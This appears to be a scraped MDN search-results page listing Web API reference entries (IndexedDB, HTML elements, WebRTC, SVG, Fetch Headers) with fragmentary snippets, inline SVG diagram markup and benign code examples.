...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLMetaElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmetaelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 3 more matches
HTMLOptGroupElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptgroupelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
...And 3 more matches
HTMLSelectElement.add() - Web APIs
exceptions a domerror of the type hierar
chyrequesterror if the item passed to the method is an ancestor of the htmlselectelement.
... examples creating elements from scrat
ch var sel = document.createelement("select"); var opt1 = document.createelement("option"); var opt2 = document.createelement("option"); opt1.value = "1"; opt1.text = "option: value 1"; opt2.value = "2"; opt2.text = "option: value 2"; sel.add(opt1, null); sel.add(opt2, null); /* produces the following, conceptually: <select> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> */ the before parameter is optional.
... append to an existing collection var sel = document.getelementbyid("existinglist"); var opt = document.createelement("option"); opt.value = "3"; opt.text = "option: value 3"; sel.add(opt, null); /* takes the existing following select object: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> </select> and
changes it to: <select id="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> */ the before parameter is optional.
...And 3 more matches
HTMLSlotElement.assignedElements() - Web APIs
the available options are: flatten: a boolean indicating whether to return the assigned elements of any available
child <slot> elements (true) or not (false).
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedelements experimental
chrome full support 65edge full support 79firefox full support 66ie no support noopera full support yessafari ?
...And 3 more matches
HTMLTitleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltitleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 3 more matches
HTMLVideoElement.videoHeight - Web APIs
the media's clean aperture (the sub-rectangle centered within the media that mat
ches the target aspect ratio).
... if at any time the intrinsic size of the media
changes and the element's readystate isn't have_nothing, a resize event will be sent to the <video> element.
... this can happen when the element swit
ches from displaying the poster frame to displaying video content, or when the displayed video track
changes.
...And 3 more matches
HTMLVideoElement.videoWidth - Web APIs
the media's clean aperture (the sub-rectangle centered within the media that mat
ches the target aspect ratio).
... if at any time the intrinsic size of the media
changes and the element's readystate isn't have_nothing, a resize event will be sent to the <video> element.
... this can happen when the element swit
ches from displaying the poster frame to displaying video content, or when the displayed video track
changes.
...And 3 more matches
Headers - Web APIs
the headers interface of the fet
ch api allows you to perform various actions on http request and response headers.
...a headers object has an associated header list, whi
ch is initially empty and consists of zero or more name and value pairs.
... you can add to this using methods like append() (see examples.) in all methods of this interface, header names are mat
ched by case-insensitive byte sequence.
...And 3 more matches
IDBCursor.advance() - Web APIs
here we use cursor.advance(2) to jump 2 places forward ea
ch time, meaning that only every other result will be displayed.
... note that in ea
ch iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...action = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.append
child(listitem); cursor.advance(2); } else { console.log('every other entry displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'advance()' in that specification.
...And 3 more matches
IDBCursor.continue() - Web APIs
the continue() method of the idbcursor interface advances the cursor to the next position along its direction, to the item whose key mat
ches the optional key parameter.
...also note that in ea
ch iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.append
child(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'continue()' in that specification.
...And 3 more matches
IDBCursor.primaryKey - Web APIs
within ea
ch iteration we log the primary key of the cursor to the console, something like this (its the album title in ea
ch case, whi
ch is our primarykey): hemispheres the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in ea
ch iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.append
child(listitem); console.log(cursor.primarykey); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'primarykey' in that specification.
...And 3 more matches
IDBCursor.source - Web APIs
within ea
ch iteration we log the source of the cursor, whi
ch will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: domstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in ea
ch iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.append
child(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
...And 3 more matches
IDBCursorWithValue.value - Web APIs
within ea
ch iteration we log the value of the cursor with cursor.value.
...also note that in ea
ch iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...aydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.append
child(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
...And 3 more matches
IDBDatabase.createObjectStore() - Web APIs
this method can be called only within a version
change transaction.
... exceptions this method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a version
change transaction callback.
...has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, whi
ch was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database.
...And 3 more matches
IDBDatabase.deleteObjectStore() - Web APIs
as with idbdatabase.createobjectstore, this method can be called only within a version
change transaction.
... exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a version
change transaction callback.
...has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, whi
ch was misleading; this has now been fixed (see bug 1176165.) notfounderror you are trying to delete an object store that does not exist.
...And 3 more matches
IDBDatabaseException - Web APIs
constants note: do not rely on the numeric values of the constants, whi
ch might
change as the specifications continue to
change.
...for example, an object, su
ch as an object store or index, already exists and a request attempted to create a new one.
... quota_err 11 either there's not enough remaining storage space or the storage quota was rea
ched and the user declined to give more space to the database.
...And 3 more matches
IDBIndex.count() - Web APIs
return value a idbrequest object on whi
ch subsequent events related to this operation are fired.
... finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'count()' in that specification.
...And 3 more matches
IDBIndex.get() - Web APIs
return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
... finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification.
...And 3 more matches
IDBIndex.getKey() - Web APIs
return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
... finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'getkey()' in that specification.
...And 3 more matches
IDBIndex.unique - Web APIs
this method takes an optional parameter, unique, whi
ch if set to true means that the index will not be able to accept duplicate entries.
... finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'unique' in that specification.
...And 3 more matches
IDBObjectStore.index() - Web APIs
the index() method of the idbobjectstore interface opens a named index in the current object store, after whi
ch it can be used to, for example, return a series of records sorted by that index using a cursor.
... finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'index()' in that specification.
...And 3 more matches
IDBObjectStore.put() - Web APIs
if the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in whi
ch this object store is opened.
...in su
ch cases, calling put(item) will always insert a new record, because it doesn't know what existing record you might want to modify.
... return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
...And 3 more matches
IDBRequest.source - Web APIs
the source read-only property of the idbrequest interface returns the source of the request, su
ch as an index or an object store.
... if no source exists (su
ch as when calling indexeddb.open), it returns null.
... syntax var idbindex = request.source; var idbcursor = request.source; var idbobjectstore = request.source; value an object representing the source of the request, su
ch as an idbindex, idbobjectstore or idbcursor.
...And 3 more matches
IDBRequest.transaction - Web APIs
this property can be null for requests not made within transactions, su
ch as for requests returned from idbfactory.open — in this case you're just connecting to a database, so there is no transaction to return.
... if a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an idbtransaction with mode equal to "version
change", and can be used to access existing object stores and indexes, or abort the the upgrade.
... openrequest.onupgradeneeded = function(event) { console.log(openrequest.transaction.mode); // will log "version
change".
...And 3 more matches
IDBTransaction.db - Web APIs
the db read-only property of the idbtransaction interface returns the database connection with whi
ch this transaction is associated.
...note also the functions atta
ched to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...e object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with whi
ch this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification.
...And 3 more matches
IDBTransaction.error - Web APIs
in
chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
...note also the functions atta
ched to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
ImageCapture.takePhoto() - Web APIs
var takephotobutton = document.queryselector('button#takephoto'); var canvas = document.queryselector('canvas'); takephotobutton.onclick = takephoto; function takephoto() { imagecapture.takephoto().then(function(blob) { console.log('took photo:', blob); img.classlist.remove('hidden'); img.src = url.createobjecturl(blob); }).cat
ch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internettakephoto experimental
chrome full support 60 full support 60 no support 59 — 60notes notes photosettings argument not supported.edge full support ≤79firefox ?
...And 3 more matches
KeyboardEvent.getModifierState() - Web APIs
the value must be one of the keyboardevent.key values whi
ch represent modifier keys, or the string "accel" .
... all modifiers (except "fnlock", "hyper", "super" and "symbol" whi
ch are defined after gecko implements this) are always supported for untrusted events on gecko.
... in old implementations and outdated specifications, it returned true when a modifier whi
ch is the typical modifier key for the shortcut key is pressed.
...And 3 more matches
KeyframeEffect.setKeyframes() - Web APIs
element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, color: "#000" } ], 2000); offsets for ea
ch keyframe can be specified by providing an offset value.
... element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in ea
ch array does not need to be equal.
... element.animate({ opacity: [ 0, 0.9, 1 ], offset: [ 0, 0.8 ], // shorthand for [ 0, 0.8, 1 ] easing: [ 'ease-in', 'ease-out' ], }, 2000); after generating a suitable set of keyframes from the property value lists, ea
ch supplied offset is applied to the corresponding keyframe.
...And 3 more matches
MediaError.message - Web APIs
the read-only property mediaerror.message returns a domstring whi
ch contains a human-readable string offering specific diagnostic details related to the error described by the mediaerror object, or an empty string ("") if no diagnostic information can be determined or provided.
... example this example creates a <audio> element, establishes an error handler for it, then lets the user click buttons to
choose whether to assign a valid audio file or a missing file to the element's src attribute.
... the example creates an <audio> element and lets the user assign either a valid music file to it, or a link to a file whi
ch doesn't exist.
...And 3 more matches
MediaError - Web APIs
the mediaerror interface represents an error whi
ch occurred while handling media in an html media element based on htmlmediaelement, su
ch as <audio> or <video>.
... a mediaerror object describes the error in general terms using a numeric code categorizing the kind of error, and a message, whi
ch provides specific diagnostics about what went wrong.
... mediaerror.code a number whi
ch represents the general type of error that occurred, as follows: name value description media_err_aborted 1 the fet
ching of the associated resource was aborted by the user's request.
...And 3 more matches
MediaKeyMessageEvent() - Web APIs
the mediakeymessageevent constructor creates a new mediakeymessageevent object whi
ch creates a new instance of mediakeymessageevent.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() constructor experimental
chrome full support 42edge full support ≤18firefox ?
...And 3 more matches
RTCRtpContributingSource.audioLevel - Web APIs
syntax var audiolevel = rtcrtpcontributingsource.audiolevel value a double-precision floating-point number whi
ch indicates the volume level of the audio in the most recently received rtp packet from the source described by the rtcrtpcontributingsource.
... this value, whi
ch is in the range 0.0 to 1.0, is on a linear scale and its value is defined in dbov, or decibels (overload).
... this is the amplitude relative to the point at whi
ch clipping of the audio begins to occur.
...And 3 more matches
RTCRtpSender - Web APIs
you can also obtain access to an rtcdtmfsender whi
ch can be used to send dtmf codes (to simulate the user pressing buttons on a telephone's dial pad) to the remote peer.
... properties rtcrtpsender.dtmf read only an rtcdtmfsender whi
ch can be used to send dtmf tones using telephone-event payloads on the rtp session represented by the rtcrtpsender object.
... rtcrtpsender.track read only the mediastreamtrack whi
ch is being handled by the rtcrtpsender.
...And 3 more matches
RTCRtpTransceiver.direction - Web APIs
the rtcrtptransceiver property direction is a string whi
ch indicates the transceiver's preferred directionality.
... syntax var direction = rtcrtptransceiver.direction value a domstring whose value is one of the strings whi
ch are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction.
...ea
ch describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the table below.
...And 3 more matches
RTCRtpTransceiver - Web APIs
ea
ch sdp media section describes one bidirectional srtp ("secure real time protocol") stream (excepting the media section for rtcdata
channel, if present).
...ea
ch non-disabled srtp media section is always represented by exactly one transceiver.
... a transceiver is uniquely identified using its mid property, whi
ch is the same as the media id (mid) of its corresponding m-line.
...And 3 more matches
RTCSctpTransport - Web APIs
the rtcsctptransport interface provides information whi
ch describes a stream control transmission protocol (sctp) transport.
... this provides information about limitations of the transport, but also provides a way to access the underlying datagram transport layer security (dtls) transport over whi
ch sctp packets for all of an rtcpeerconnection's data
channels are sent and received.
... possibly the most useful property on this interface is its maxmessagesize property, whi
ch you can use to determine the upper limit on the size of messages you can send over a data
channel on the peer connection.
...And 3 more matches
RadioNodeList - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/nodelist" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">nodelist</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/radionodelist" target="_top"><rect x="121" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="c...
...onsolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">radionodelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties the radionodelist interface inherits the properties of nodelist.
... radionodelist.value if the underlying element collection contains radio buttons, the value property represents the
checked radio button.
...And 3 more matches
Request.destination - Web APIs
the string must be one of those found in the requestdestination enumerated type or the empty string, whi
ch is the default value.
... the destination is used by the user agent to, for example, help determine whi
ch set of rules to follow for cors purposes, or how to navigate any complicated code paths that affect how specific types of request get handled.
...others are script-based, in whi
ch case the received data is delivered to a script by calling it and passing the data along.
...And 3 more matches
Response.type - Web APIs
opaqueredirect: the fet
ch request was made with redirect: "manual".
... note: an "error" response never really gets exposed to script: su
ch a response to a fet
ch() would reject the promise.
... example in our fet
ch response example (see fet
ch response live) we create a new request object using the request() constructor, passing it a jpg path.
...And 3 more matches
SVGAElement - Web APIs
svgaelement.download see htmlan
chorelement.download.
... svgaelement.href see htmlan
chorelement.href.
... svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of urls to whi
ch, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
...And 3 more matches
SVGAnimationElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 3 more matches
SVGEllipseElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
